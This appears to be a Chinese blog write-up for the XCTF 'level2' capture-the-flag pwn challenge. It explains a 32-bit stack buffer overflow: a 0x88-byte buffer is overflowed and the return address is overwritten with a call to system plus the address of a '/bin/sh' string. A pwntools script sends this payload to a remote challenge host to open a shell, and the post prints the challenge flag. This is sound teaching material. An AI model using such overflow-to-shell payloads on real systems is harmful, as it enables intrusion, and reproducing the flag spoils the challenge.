[攻防世界]level2

目录

解析:

查保护:

找逻辑:

写pwntools脚本:


解析:

查保护:

checksec 文件名

第一个红框,告诉我们是32位的一个软件,开启了NX(栈执行保护)。

找逻辑:

打开IDA找逻辑,寻找输入口,有main先找main,没main找字符串,有main函数,直接转到main函数,反编译进去。

继续下一步在往里进一步,进入红框函数,有一个位置读取,读取出来0x100个字节,从buf里面,那么看看最后还剩下多大,距离到顶还有0x88,完全可以溢出,之后还要覆盖掉返回地址,额外加上四个字节的大小。

现在已知,既然有NX不可以在栈内执行,那么溢出去跳转,现在已知,要溢出0x88+0x04的字节,现在要找一个地方可以跳转,通过字符串查找,找到了一个/bin/sh。

跳转进去,看地址在哪个位置,是在数据段,之后也没有交叉引用,那么只能用其他的去调用了,发现有个system的函数,估计可以利用一下。

 运行一下,看看输出什么。

会输出hello world,那么咱们在helloword往后看,看见一个地方用了system,可以用 。

这个位置相对应的地址是 .text:0804849E,所以直接把这个地址写入到返回地址,之后直接调用/bin/sh。

写pwntools脚本:

大小基本算出来了,是0x88+4,之后加上call的地址加上shell的地址吗,所以payload是,

payload = b'a' * 0x88 + b'a' * 4 + p32(0x0804849E) + p32(0x0804A024)

之后整体写一下。

from pwn import *
p = remote('111.200.241.244',54610)
p.recvuntil('Input:\n')
pl = b'a'*0x88 + b'a'*4 +p32(0x0804849E) + p32(0x0804A024)
p.sendline(pl)
p.interactive()

运行结果就是

 答案就是:cyberpeace{46c13645cb700d3d46ce4d29260c9e1b}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值